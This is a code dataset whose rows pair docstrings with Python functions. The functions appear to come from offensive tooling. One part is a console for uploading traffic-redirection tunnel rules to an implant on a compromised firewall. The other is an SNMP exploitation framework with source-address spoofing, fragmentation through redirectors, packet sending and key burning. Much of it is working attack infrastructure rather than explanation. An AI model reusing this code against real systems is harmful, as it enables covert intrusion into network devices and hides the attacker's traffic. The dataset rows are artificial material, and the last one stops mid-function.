desc
stringlengths 3
26.7k
| decl
stringlengths 11
7.89k
| bodies
stringlengths 8
553k
|
---|---|---|
'lp [IP of lp]
sets lp to use, defaults to 127.0.0.1'
| def do_lp(self, lp):
| if (tools.checkIP(lp) == True):
self.sfile['lp'] = lp
self.logger.debug(('LP IP has been changed to: ' + str(lp)))
else:
self.logger.error('the IP that you entered is not valid')
|
'implant [IP of implant]
sets lp to use, defaults to 127.0.0.1'
| def do_implant(self, implant):
| if (tools.checkIP(implant) == True):
self.sfile['implant'] = implant
self.logger.debug(('implant IP has been changed to: ' + str(implant)))
else:
self.logger.error('the IP that you entered is not valid')
|
'idkey [full path to key]
sets the key to use'
| def do_idkey(self, idkey):
| if (os.path.isfile(idkey) == True):
self.sfile['idkey'] = idkey
self.logger.debug(('the IDKEY has been changed to: ' + str(idkey)))
else:
self.logger.error('the IDKEY that you provided does not exist')
|
'exit - exits the program'
| def do_exit(self, line):
| self.sfile['auto_PTK'] = False
if (self.sfile['uploaded_mod_list'] == []):
self.logger.debug('all uploaded modules have been removed')
else:
self.logger.info('not all modules that you have uploaded have been removed: ')
for module in self.sfile['uploaded_mod_list']:
self.logger.info(str(module))
self.logger.info('shutting down tunnel window')
tools.shutdownTunnel(self.sfile, self.logger)
self.logger.debug('exiting')
self.logger.debug(self.sfile)
sys.exit()
|
'quit - quits the current context'
| def do_quit(self, line):
| self.sfile['auto_PTK'] = False
if (self.sfile['uploaded_mod_list'] == []):
self.logger.debug('all uploaded modules have been removed')
else:
self.logger.info('not all modules that you have uploaded have been removed: ')
for module in self.sfile['uploaded_mod_list']:
self.logger.info(str(module))
self.logger.info('shutting down tunnel window')
tools.shutdownTunnel(self.sfile, self.logger)
self.logger.debug('exiting')
self.logger.debug(self.sfile)
return True
|
'create_tunnel [options]
will create a new tunnel options are the same as what was printed out in the ascii gui'
| def do_create_tunnel(self, input):
| self.logger.debug('user is running create_tunnel')
if (input == ''):
self.logger.error('you did not provide any input')
return
else:
options = input.split(' ')
if (len(options) < 0):
self.logger.exception('you did not specify a variable and option')
return
rule = {'attk_source': '', 'attk_dest': '', 'attk_sport': '0', 'attk_dport': '0', 'tgt_source': '', 'tgt_dest': '', 'tgt_sport': '0', 'tgt_dport': '0', 'attk_int': '', 'tgt_int': ''}
c = 0
for i in options:
if (i in rule):
rule[i] = options[(c + 1)]
c += 1
self.sfile['current_rule'] = rule
self.logger.debug(self.sfile['current_rule'])
|
'modify_tunnel [options]
will modify the tunnel options are the same as what was printed out in the ascii gui'
| def do_modify_tunnel(self, input):
| self.logger.debug('user is running modify_tunnel')
if (input == ''):
self.logger.error('you did not provide any input')
return
else:
options = input.split(' ')
if (len(options) < 0):
self.logger.exception('you did not specify a variable and option')
return
rule = self.sfile['current_rule']
c = 0
for i in options:
if (i in rule):
rule[i] = options[(c + 1)]
c += 1
self.sfile['current_rule'] = rule
self.logger.debug(self.sfile['current_rule'])
|
'reset_rule
clears the current settings for the tunnel rule'
| def do_reset_rule(self, line):
| self.resetRule()
|
'upload_rules
will upload your currently configured rule'
| def do_upload_rules(self, line):
| self.logger.debug('uploading rules')
try:
handles = self.sfile['packetToolkit']
add_handle = handles['PD_addRuleHandler']
except:
self.logger.exception('could to get handle information for addRuleHandler')
return
if (tools.checkTunnelRule(self.sfile, self.logger) == False):
return
self.logger.debug('upload rule checks passed, building rules')
string_rule1 = ((((((((((((((('1 ' + str(self.sfile['current_rule']['attk_int'])) + ' 0 2 ') + str(self.sfile['current_rule']['tgt_dest'])) + ' ') + str(self.sfile['current_rule']['tgt_dport'])) + ' ') + str(self.sfile['current_rule']['tgt_source'])) + ' ') + str(self.sfile['current_rule']['tgt_sport'])) + ' ') + str(self.sfile['current_rule']['tgt_int'])) + ' 0 0 src host ') + str(self.sfile['current_rule']['attk_source'])) + ' and dst host ') + str(self.sfile['current_rule']['attk_dest']))
if (self.sfile['current_rule']['attk_sport'] != '0'):
string_rule1 += (' and src port ' + str(self.sfile['current_rule']['attk_sport']))
if (self.sfile['current_rule']['attk_dport'] != '0'):
string_rule1 += (' and dst port ' + str(self.sfile['current_rule']['attk_dport']))
string_rule1 += ' and (icmp or udp or tcp)'
if (self.sfile['mode'] == 'simple'):
string_rule2 = ((((((((((((((('2 ' + str(self.sfile['current_rule']['tgt_int'])) + ' 0 2 ') + str(self.sfile['current_rule']['attk_source'])) + ' ') + str(self.sfile['current_rule']['attk_sport'])) + ' ') + str(self.sfile['current_rule']['attk_dest'])) + ' ') + str(self.sfile['current_rule']['attk_dport'])) + ' ') + str(self.sfile['current_rule']['attk_int'])) + ' 0 0 src host ') + str(self.sfile['current_rule']['tgt_dest'])) + ' and dst host ') + str(self.sfile['current_rule']['tgt_source']))
if (self.sfile['current_rule']['tgt_dport'] != '0'):
string_rule2 += (' and src port ' + str(self.sfile['current_rule']['tgt_dport']))
if (self.sfile['current_rule']['tgt_sport'] != '0'):
string_rule2 += (' and dst port ' + str(self.sfile['current_rule']['tgt_sport']))
string_rule2 += ' and (icmp or udp or tcp)'
temp_counter = 0
found_file = False
while (found_file == False):
if (os.path.isfile(os.path.join(self.sfile['logs_to_process'], ('tunnel' + str(temp_counter)))) == True):
temp_counter += 1
else:
tunnel_log_file = os.path.join(self.sfile['logs_to_process'], ('tunnel' + str(temp_counter)))
found_file = True
tunnel_file = file(tunnel_log_file, 'a')
tunnel_file.write(string_rule1)
tunnel_file.write('\r\n')
tunnel_file.write(string_rule2)
tunnel_file.write('\r\n')
tunnel_file.close()
self.logger.debug(('Rule: ' + str(string_rule1)))
self.logger.debug(('Rule: ' + str(string_rule2)))
tunnel_number = tools.openTunnel(self.sfile, self.logger)
command = ((((((((((((((((str(self.sfile['miniprog']) + ' --arg "') + str(os.path.join(self.sfile['logs_to_process'], tunnel_log_file))) + '" --name add_rule --cmd ') + str(add_handle)) + ' --bsize 512 --idkey ') + str(self.sfile['idkey'])) + ' --sport ') + str(self.sfile['sport'])) + ' --dport ') + str(self.sfile['dport'])) + ' --lp ') + str(self.sfile['lp'])) + ' --implant ') + str(self.sfile['implant'])) + ' --logdir ') + str(self.sfile['logs_to_process']))
add_rule = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output_stdout = add_rule.stdout.read()
output_stderr = add_rule.stderr.read()
self.logger.debug(('Add rule command: ' + str(command)))
self.logger.debug(('Add rule stdout: ' + str(output_stdout)))
self.logger.debug(('Add rule stderr: ' + str(output_stderr)))
for i in output_stderr.split('\n'):
if ('Rule added' in i):
self.logger.info(i)
temp = self.sfile['rules']
temp.append(i.split(': ')[(-1)])
self.sfile['rules'] = temp
tools.closeTunnel(self.sfile, tunnel_number, self.logger)
|
'get_rules
gets current rules on firewall'
| def do_get_rules(self, line):
| self.logger.info('getting current rules')
try:
handles = self.sfile['packetToolkit']
get_handle = handles['PD_getRulesHandler']
except:
self.logger.exception('could not get handle for getRulesHandler')
tunnel_number = tools.openTunnel(self.sfile, self.logger)
command = ((((((((((((((str(self.sfile['miniprog']) + ' --lp ') + str(self.sfile['lp'])) + ' --implant ') + str(self.sfile['implant'])) + ' --idkey ') + str(self.sfile['idkey'])) + ' --sport ') + str(self.sfile['sport'])) + ' --dport ') + str(self.sfile['dport'])) + ' --logdir ') + str(self.sfile['logs_to_process'])) + ' --name get_rules --cmd ') + str(get_handle))
rules = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output_stdout = rules.stdout.read()
output_stderr = rules.stderr.read()
self.logger.debug(('Get rules command: ' + str(command)))
self.logger.debug(('Get rules stdout: ' + str(output_stdout)))
self.logger.debug(('Get rules stderr: ' + str(output_stderr)))
tools.closeTunnel(self.sfile, tunnel_number, self.logger)
if ('No reply' in output_stderr):
self.logger.critical('could not talk to your tunnel module')
return
else:
rules = []
for i in output_stdout.split('\n'):
if ('ID' in i):
rules.append(i.split(': ')[(-1)])
self.logger.info('Current rules on firewall')
for i in rules:
self.logger.info(str(i))
self.sfile['rules'] = rules
|
'print_shelve
prints the contents of the shelve file'
| def do_show_settins(self, line):
| self.logger.debug('running show_settings')
tools.show_settings(self.sfile, option, self.logger)
|
'remove_rule [ID]
removes the rule with ID'
| def do_remove_rule(self, id):
| try:
handles = self.sfile['packetToolkit']
remove_handle = handles['PD_removeRuleHandler']
except:
self.logger.exception('could not get handle for removeRuleHandler')
self.logger.debug(('remove the rule with ID of: ' + str(id)))
if (id == ''):
self.logger.error('you did not provide an ID')
return
elif (id.isdigit() == False):
self.logger.error('you did not provide a valid number for ID')
return
else:
tunnel_number = tools.openTunnel(self.sfile, self.logger)
command = ((((((((((((((((str(self.sfile['miniprog']) + ' --arg "') + str(id)) + '" --name remove_rule --cmd ') + str(remove_handle)) + ' --bsize 512 --idkey ') + str(self.sfile['idkey'])) + ' --sport ') + str(self.sfile['sport'])) + ' --dport ') + str(self.sfile['dport'])) + ' --lp ') + str(self.sfile['lp'])) + ' --implant ') + str(self.sfile['implant'])) + ' --logdir ') + str(self.sfile['logs_to_process']))
remove = subprocess.Popen(shlex.split(command), stdout=subprocess.PIPE, stderr=subprocess.PIPE)
output_stdout = remove.stdout.read()
output_stderr = remove.stderr.read()
self.logger.debug(('Remove rule command: ' + str(command)))
self.logger.debug(('Remove rule stdout: ' + str(output_stdout)))
self.logger.debug(('Remove rule stderr: ' + str(output_stderr)))
tools.closeTunnel(self.sfile, tunnel_number, self.logger)
for i in output_stderr.split('\r\n'):
if ('Rule NOT Removed, rule does not exist' in i):
self.logger.error('the ID that you provided did not exist on the firewall')
elif ('Rule Removed - Reply received' in i):
print ('Removed rule ' + str(id))
self.logger.info('removed rule')
else:
self.logger.error('some other output was recieved then what I expected')
|
'attk_int [INTERFACE]
INTERFACE that target is coming in on'
| def do_attk_int(self, attk_int):
| if (attk_int.isdigit() == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_int'] = attk_int
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed to attk_int ' + str(attk_int)))
else:
self.logger.error('You did not enter a valid number')
|
'tgt_int [INTERFACE]
INTERFACE target is connected to'
| def do_tgt_int(self, tgt_int):
| if (tgt_int.isdigit() == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_int'] = tgt_int
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed tgt_int to ' + str(tgt_int)))
else:
self.logger.error('You did not enter a valid number')
|
'tgt_dport [PORT]
destination PORT going to target'
| def do_tgt_dport(self, tgt_dport):
| if (tools.checkPort(tgt_dport) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_dport'] = tgt_dport
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed tgt_dport to: ' + str(tgt_dport)))
elif (str(tgt_dport.lower()) == 'rhp'):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_dport'] = tgt_dport
self.sfile['current_rule'] = tunnel_dict
self.logger.info(('changed tgt_dport to: ' + str(tgt_dport)))
else:
self.logger.error('The PORT you entered is not valid')
|
'tgt_sport [PORT]
source PORT going to target'
| def do_tgt_sport(self, tgt_sport):
| if (tools.checkPort(tgt_sport) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_sport'] = tgt_sport
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed tgt_sport to: ' + str(tgt_sport)))
elif (str(tgt_sport.lower()) == 'rhp'):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_sport'] = tgt_sport
self.sfile['current_rule'] = tunnel_dict
self.logger.info(('changed tgt_sport to: ' + str(tgt_sport)))
else:
self.logger.error('The PORT you entered is not valid')
|
'tgt_dest [IP]
targets IP'
| def do_tgt_dest(self, tgt_dest):
| if (tools.checkIP(tgt_dest) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_dest'] = tgt_dest
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed tgt_dest to: ' + str(tgt_dest)))
else:
self.logger.error('The IP you entered is not valid')
|
'tgt_source [IP]
source IP of target (what IP the target will see)'
| def do_tgt_source(self, tgt_source):
| if (tools.checkIP(tgt_source) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['tgt_source'] = tgt_source
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed tgt_source to ' + str(tgt_source)))
else:
self.logger.error('The IP you entered is not valid')
|
'attk_dport [PORT]
destination PORT of attacker'
| def do_attk_dport(self, attk_dport):
| if (tools.checkPort(attk_dport) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_dport'] = attk_dport
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed attk_dport to ' + str(attk_dport)))
elif (str(attk_dport.lower()) == 'rhp'):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_dport'] = attk_dport
self.sfile['current_rule'] = tunnel_dict
self.logger.info(('changed attk_dport to ' + str(attk_dport)))
else:
self.logger.error('The PORT you entered is not valid')
|
'attk_sport [PORT]
source PORT of attacker'
| def do_attk_sport(self, attk_sport):
| if (tools.checkPort(attk_sport) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_sport'] = attk_sport
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed attk_sport to ' + str(attk_sport)))
elif (str(attk_sport.lower()) == 'rhp'):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_sport'] = attk_sport
self.sfile['current_rule'] = tunnel_dict
self.logger.info(('changed attk_sport to ' + str(attk_sport)))
else:
self.logger.info('The PORT you entered is not valid')
|
'attk_dest [IP]
IP destination of attacker'
| def do_attk_dest(self, attk_dest):
| if (tools.checkIP(attk_dest) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_dest'] = attk_dest
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed attk_dest to ' + str(attk_dest)))
else:
self.logger.error('The IP you entered is not valid')
|
'attk_source [IP]
IP of attacker'
| def do_attk_source(self, attk_source):
| if (tools.checkIP(attk_source) == True):
tunnel_dict = self.sfile['current_rule']
tunnel_dict['attk_source'] = attk_source
self.sfile['current_rule'] = tunnel_dict
self.logger.debug(('changed attk_source to ' + str(attk_source)))
else:
self.logger.error('The IP you entered is not valid')
|
'print
prints out the current tunnel rule'
| def do_show_rule(self, line):
| self.logger.debug('printing rules out for user')
if (self.sfile['mode'] == 'simple'):
self.logger.info(' ------------------Attacker------------------')
self.logger.info(' | ^')
self.logger.info(' v |')
self.logger.info(' Attacker to Firewall Packet Firewall to Attacker Packet')
logging_string = ' Source IP : '
if (self.sfile['current_rule']['attk_source'] == ''):
logging_string += ('attk_source' + (' ' * (26 - len('attk_source'))))
else:
logging_string += str(self.sfile['current_rule']['attk_source'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['attk_source']))))
logging_string += 'Source IP : '
if (self.sfile['current_rule']['attk_dest'] == ''):
logging_string += 'attk_dest'
else:
logging_string += str(self.sfile['current_rule']['attk_dest'])
self.logger.info(str(logging_string))
logging_string = ' Dest IP : '
if (self.sfile['current_rule']['attk_dest'] == ''):
logging_string += ('attk_dest' + (' ' * (26 - len('attk_dest'))))
else:
logging_string += str(self.sfile['current_rule']['attk_dest'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['attk_dest']))))
logging_string += 'Dest IP : '
if (self.sfile['current_rule']['attk_source'] == ''):
logging_string += 'attk_source'
else:
logging_string += str(self.sfile['current_rule']['attk_source'])
self.logger.info(str(logging_string))
logging_string = ' Source Port: '
if (self.sfile['current_rule']['attk_sport'] == '0'):
logging_string += ('attk_sport' + (' ' * (26 - len('attk_sport'))))
else:
logging_string += str(self.sfile['current_rule']['attk_sport'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['attk_sport']))))
logging_string += 'Source Port: '
if (self.sfile['current_rule']['attk_dport'] == '0'):
logging_string += 'attk_dport'
else:
logging_string += str(self.sfile['current_rule']['attk_dport'])
self.logger.info(str(logging_string))
logging_string = ' Dest Port: '
if (self.sfile['current_rule']['attk_dport'] == '0'):
logging_string += ('attk_dport' + (' ' * (26 - len('attk_dport'))))
else:
logging_string += str(self.sfile['current_rule']['attk_dport'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['attk_dport']))))
logging_string += 'Dest Port: '
if (self.sfile['current_rule']['attk_sport'] == '0'):
logging_string += 'attk_sport'
else:
logging_string += str(self.sfile['current_rule']['attk_sport'])
self.logger.info(str(logging_string))
self.logger.info(' | ^')
logging_string = ' v Iface Num: '
if (self.sfile['current_rule']['attk_int'] == ''):
logging_string += ('attk_int' + (' ' * (12 - len('attk_int'))))
else:
logging_string += str(self.sfile['current_rule']['attk_int'])
logging_string += (' ' * (12 - len(str(self.sfile['current_rule']['attk_int']))))
logging_string += '|'
self.logger.info(str(logging_string))
self.logger.info(' -------------------------Firewall-------------------------')
logging_string = ' | Iface Num: '
if (self.sfile['current_rule']['tgt_int'] == ''):
logging_string += ('tgt_int' + (' ' * (12 - len('tgt_int'))))
else:
logging_string += str(self.sfile['current_rule']['tgt_int'])
logging_string += (' ' * (12 - len(str(self.sfile['current_rule']['tgt_int']))))
logging_string += '^'
self.logger.info(str(logging_string))
self.logger.info(' v |')
self.logger.info(' Firewall to Target Packet Target to Firewall Packet')
logging_string = ' Source IP : '
if (self.sfile['current_rule']['tgt_source'] == ''):
logging_string += ('tgt_source' + (' ' * (26 - len('tgt_source'))))
else:
logging_string += str(self.sfile['current_rule']['tgt_source'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['tgt_source']))))
logging_string += 'Source IP : '
if (self.sfile['current_rule']['tgt_dest'] == ''):
logging_string += 'tgt_dest'
else:
logging_string += str(self.sfile['current_rule']['tgt_dest'])
self.logger.info(str(logging_string))
logging_string = ' Dest IP : '
if (self.sfile['current_rule']['tgt_dest'] == ''):
logging_string += ('tgt_dest' + (' ' * (26 - len('tgt_dest'))))
else:
logging_string += str(self.sfile['current_rule']['tgt_dest'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['tgt_dest']))))
logging_string += 'Dest IP : '
if (self.sfile['current_rule']['tgt_source'] == ''):
logging_string += 'tgt_source'
else:
logging_string += str(self.sfile['current_rule']['tgt_source'])
self.logger.info(str(logging_string))
logging_string = ' Source Port: '
if (self.sfile['current_rule']['tgt_sport'] == '0'):
logging_string += ('tgt_sport' + (' ' * (26 - len('tgt_sport'))))
else:
logging_string += str(self.sfile['current_rule']['tgt_sport'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['tgt_sport']))))
logging_string += 'Source Port: '
if (self.sfile['current_rule']['tgt_dport'] == '0'):
logging_string += 'tgt_dport'
else:
logging_string += str(self.sfile['current_rule']['tgt_dport'])
self.logger.info(str(logging_string))
logging_string = ' Dest Port: '
if (self.sfile['current_rule']['tgt_dport'] == '0'):
logging_string += ('tgt_dport' + (' ' * (26 - len('tgt_dport'))))
else:
logging_string += str(self.sfile['current_rule']['tgt_dport'])
logging_string += (' ' * (26 - len(str(self.sfile['current_rule']['tgt_dport']))))
logging_string += 'Dest Port: '
if (self.sfile['current_rule']['tgt_sport'] == '0'):
logging_string += 'tgt_sport'
else:
logging_string += str(self.sfile['current_rule']['tgt_sport'])
self.logger.info(str(logging_string))
self.logger.info(' | ^')
self.logger.info(' v |')
self.logger.info(' -------------------Target-------------------')
|
'exit - exits the script'
| def do_exit(self, line):
| self.logger.debug(str(self.sfile))
self.sfile['tunnel'] = 'False'
self.logger.debug('exiting')
sys.exit()
|
'quit - quits tunnel'
| def do_quit(self, line):
| self.logger.debug(str(self.sfile))
self.sfile['tunnel'] = 'False'
self.logger.debug('exiting')
return True
|
''
| @property
def description(self):
| return ('%s (version %s)' % (self.tool_name, self.tool_version))
|
''
| def _init_parser(self):
| self.parser = argparse.ArgumentParser(description=self.description)
self.subcommands = []
self.setup_parser()
subcommands = self.subcommands
del self.subcommands
if subcommands:
subparsers = self.parser.add_subparsers()
for subcommand in subcommands:
subparser = subparsers.add_parser(subcommand.name)
subparser.set_defaults(subcommand=subcommand)
subcommand.setup_parser(subparser)
|
''
| @public
def add_subcommand(self, subcommand):
| self.subcommands.append(subcommand)
|
''
| @internal
@overridable('Overrides must call base implementation first')
def setup_parser(self):
| self.add_logging_params(self.parser)
|
''
| @internal
def create_socket(self, ip=None, port=None, timeout=None):
| if self.params.redir:
exsock = FragmentingPseudoSocket(self.params.dst['ip'], self.params.dst['port'], **self.params.redir)
exsock.fragment_size = (self.params.fragment_size or self.DEFAULT_FRAGMENT_SIZE)
exsock.raw_send = self.params.raw_send
else:
exsock = PseudoSocket(self.params.dst['ip'], self.params.dst['port'])
exsock.timeout = self.params.timeout
exsock.verbose = self.params.verbose
exsock.log = self.log
return exsock
|
''
| @overridable('Overrides must call base implementation first')
def pre_parse(self, args):
| self.params.args = args
self.env.progname = args[0]
self.env.progbase = os.path.basename(args[0])
self.env.progpath = os.path.realpath(os.path.dirname(args[0]))
|
''
| def _parse(self, args):
| self.pre_parse(args)
self.parser.parse_args(args[1:], self.params)
try:
self.post_parse()
except argparse.ArgumentError as e:
self.parser.error(str(e))
|
''
| @overridable('Overrides must call base implementation first')
def post_parse(self):
| defaults = {'healthcheck': False, 'healthcheckport': None, 'key': None, 'redir': None, 'fragment_size': None, 'subcommand': None}
for param in defaults:
if (not hasattr(self.params, param)):
setattr(self.params, param, defaults[param])
self.params.debug = self.enable_debugging()
if self.params.debug:
self.params.Debug = self.params.verbose
else:
self.params.Debug = 0
if ((not self.params.redir) and self.params.fragment_size):
Sploit.parse_error('The fragment size can only be specified when --redirect or --spoof is used.')
if self.params.healthcheckport:
if (not self.params.healthcheck):
Sploit.parse_error('The TCP port for health checks was specified without enabling health checks.')
elif (self.params.redir and (not self.params.redir['listen_port']) and self.params.healthcheck):
Sploit.parse_error('Health checks are not currently supported when spoofing the source address. You must include the --no-health-check option.')
if (self.params.key and (not os.path.isfile(self.get_key_file()))):
Sploit.parse_error(("Key file '%s' does not exist" % self.params.key))
if self.params.subcommand:
self.params.subcommand.post_parse(self.params)
|
''
| @internal
@staticmethod
def parse_error(msg):
| raise argparse.ArgumentError(None, msg)
|
''
| @public
@staticmethod
def add_connection_params(parser, include_spoof=True):
| parser.add_argument('-t', '--target', dest='dst', required=True, type=_parse_target, help='target ip[:port]')
if include_spoof:
parser.add_argument('--spoof', dest='redir', metavar='redir_ip:redir_port:spoofed_ip[:spoofed_port]', type=(lambda x: _parse_redirect(x, False)), default=None, help='send spoofed src packet (with no response expected)')
parser.add_argument('--fragment', dest='redir', metavar='outbound_tunnel_local_ip:outbound_tunnel_local_port:return_tunnel_remote_ip:return_tunnel_remote_port:listen_port', type=(lambda x: _parse_redirect(x, True)), default=None, help='send fragmented packet through redirector (expecting a response)')
parser.add_argument('--fragment-size', dest='fragment_size', type=int, default=None, help='maximum fragment size')
parser.add_argument('--nopen-rawsend', dest='raw_send', action='store_true', default=False, help='re-open the connection for each fragment')
parser.add_argument('--no-nopen-rawsend', dest='raw_send', action='store_false', default=False, help='use the same connection for each fragment')
parser.add_argument('-c', '--community', dest='community', required=True, help='community string')
parser.add_argument('--version', dest='version', choices=['v1', 'v2c'], default='v2c', help='snmp version v1|v2c defaults to v2c')
parser.add_argument('-w', '--wait', '--timeout', dest='timeout', type=int, default=30, help='sets timeout for connections')
|
''
| @public
@staticmethod
def add_logging_params(parser):
| parser.add_argument('-v', '--verbose', dest='verbose', action='count', default=1, help='verbose logging, add more -v for more verbose logging')
parser.add_argument('-q', '--quiet', dest='verbose', action='store_const', const=0, help='minimize logging (not recommended)')
|
''
| @public
@staticmethod
def add_key_params(parser):
| parser.add_argument('-k', '--key', dest='key', help='info key - returned from info query')
|
''
| @public
@staticmethod
def add_healthcheck_params(parser):
| parser.add_argument('--health-check', dest='healthcheck', action='store_true', default=True, help='enable health checks (default)')
parser.add_argument('--no-health-check', dest='healthcheck', action='store_false', default=True, help='disable health checks')
parser.add_argument('--health-check-port', dest='healthcheckport', type=_parse_port, default=None, help='TCP port to use for health checks')
|
''
| @overridable("Overrides don't need to call base implementation")
def enable_debugging(self):
| return False
|
''
| @public
def launch(self, args):
| self._parse(args)
self.log('parsed', CommandLine=args)
print '[+] Executing: ', ' '.join(args)
if (self.params.verbose > 1):
print ('[+] running from %s' % self.env.progpath)
if self.params.subcommand:
self.params.subcommand.run(self)
else:
self.run()
|
''
| @overridable("Should only be overriden for derived classes that don't use subcommands")
def run(self):
| raise NotImplementedError, "Sploit-based classes that don't use subcommands need to override the run method."
|
''
| @overridable('If overriden, the base implementation does not need to be called.')
def get_key_dir(self):
| return ('%s/keys' % self.env.progpath)
|
''
| def get_key_file(self, key=None):
| if (not key):
key = self.params.key
return ('%s/%s.key' % (self.get_key_dir(), key))
|
''
| @overridable('Must be overriden if the target will be touched. Base implementation should not be called.')
def generate_touch(self):
| raise NotImplementedError, 'Sploit-based classes need to override the generate_touch method.'
|
''
| @internal
def send_touch(self, packet=None, exsock=None, attempts=1):
| print '[+] probing target via snmp'
if (not packet):
packet = self.generate_touch()
try:
if (not exsock):
print ('[+] Connecting to %s:%s' % (self.params.dst['ip'], self.params.dst['port']))
exsock = self.create_socket()
while attempts:
attempts -= 1
self.log.packet('sending touch packet', str(packet))
exsock.send(packet)
self.log('sent touch packet')
try:
while 1:
print ('*' * 40)
self.log('receiving touch response')
response = exsock.receive(2048)
self.log.packet('received touch response', response)
if (self.params.verbose > 1):
print '[+] Data returned'
hexdump(response)
SNMP(response).show()
print '[+] End of Data returned\n'
if self.post_touch(response):
return True
else:
print response
print ('*' * 40)
print 'listening for responses - Ctrl-C to exit'
except KeyboardInterrupt:
return False
except socket.timeout:
if (not attempts):
return False
print 'Retrying...'
except Exception as message:
print '\nExiting ...'
print 'Debug info ', ('=' * 40)
traceback.print_exc()
print 'Debug info ', ('=' * 40)
raise RuntimeError, message
|
''
| @overridable('Must be overriden if the target will be touched. Base implementation should not be called.')
def post_touch(self, response):
| raise NotImplementedError, 'Sploit-based classes need to override the post_touch method.'
|
''
| @overridable("Should be overriden if the 'info' or 'force' subcommands will be used. Base implementation should be called.")
def report_key(self, key):
| pass
|
''
| @overridable('Should be overriden if checks need to be done before the exploit is called.')
def pre_exploit(self):
| pass
|
''
| @overridable('Must be overriden. Base implementation should not be called.')
def generate_exploit(self):
| raise NotImplementedError, 'Sploit-based classes need to override the generate_exploit method.'
|
''
| @internal
def send_exploit(self, packets=None, exsock=None):
| if (not packets):
packets = self.generate_exploit()
if (not exsock):
print ('[+] Connecting to %s:%s' % (self.params.dst['ip'], self.params.dst['port']))
exsock = self.create_socket()
try:
tail = (' of %d' % len(packets))
except TypeError:
tail = ' of N'
cur = 1
for packet in packets:
print ('[+] packet %d%s' % (cur, tail))
try:
packet = packet[SNMP]
except:
pass
if self.params.verbose:
hexdump(str(packet))
if (self.params.verbose > 1):
packet.show()
self.log.packet('sending exploit packet', str(packet))
exsock.send(packet)
self.log('sent exploit packet')
if exsock.expecting_response:
try:
if self.params.verbose:
print ('*' * 40)
self.log('receiving exploit response')
response = exsock.receive(2048)
self.log.packet('sent exploit packet', response)
if self.post_exploit(response):
print '[+] clean return detected'
elif self.params.healthcheck:
print '[-] unexpected response received - performing health check'
self.perform_healthcheck(exsock)
else:
print '[-] unexpected response received'
except KeyboardInterrupt as e:
print '[-] keyboard interrupt before response received'
if self.terminateFlingOnException:
raise KeyboardInterrupt, e
except socket.timeout as e:
okay = False
if self.params.healthcheck:
print '[-] timeout waiting for response - performing health check'
okay = self.perform_healthcheck(exsock)
else:
print '[-] timeout waiting for response - target may have crashed'
if ((not okay) and self.terminateFlingOnException):
raise socket.timeout, e
elif self.params.healthcheck:
print '[+] not expecting response - performing health check'
self.perform_healthcheck(exsock)
else:
print '[+] not expecting response'
cur += 1
|
''
| @overridable('Overrides do not need to call the base implementation')
def post_exploit(self, response):
| snmp = SNMP(response)
if self.params.verbose:
snmp.show()
if (self.params.verbose > 1):
hexdump(response)
print '[+] response received'
return True
|
''
| @internal
def perform_healthcheck(self, exsock):
| healthy = False
if self.params.healthcheckport:
healthy = exsock.establish_tcp_connection(self.params.healthcheckport)
else:
oid = '1.3.6.1.2.1.1.3.0'
pkt = SNMP(community=self.params.community, PDU=SNMPget(varbindlist=[SNMPvarbind(oid=ASN1_OID(oid))]))
exsock.send(pkt[SNMP])
try:
response = exsock.receive(2048)
healthy = True
except KeyboardInterrupt as e:
print '[-] keyboard interrupt before response received'
if self.terminateFlingOnException:
raise KeyboardInterrupt, e
except socket.timeout as e:
okay = False
print '[-] no response from health check - target may have crashed'
if ((not okay) and self.terminateFlingOnException):
raise socket.timeout, e
if healthy:
print '[+] health check succeeded'
else:
print '[-] health check failed'
return healthy
|
''
| @overridable('Overrides should call base implementation first')
def setup_parser(self, parser):
| Sploit.add_logging_params(parser)
|
''
| @overridable('Overrides should call base implementation first')
def post_parse(self, params):
| pass
|
''
| @overridable("Overrides don't need to call base implementation")
def run(self, exp):
| pass
|
''
| @overridable('Overrides should call base implementation first')
def setup_parser(self, parser):
| super(BurnSubcommand, self).setup_parser(parser)
group = parser.add_mutually_exclusive_group(required=True)
Sploit.add_key_params(group)
group.add_argument('--all', '--Burn', action='store_true', dest='burnburn', default=False, help='remove all keys')
|
''
| @overridable("Overrides don't need to call base implementation")
def run(self, exp):
| if (not exp.params.burnburn):
keys = ('%s/%s.key' % (exp.get_key_dir(), exp.params.key))
else:
keys = ('%s/*.key' % exp.get_key_dir())
l = glob.glob(keys)
for f in l:
print ('[+] deleting %s' % f)
os.unlink(f)
|
'add_argument(dest, ..., name=value, ...)
add_argument(option_string, option_string, ..., name=value, ...)'
| def add_argument(self, *args, **kwargs):
| chars = self.prefix_chars
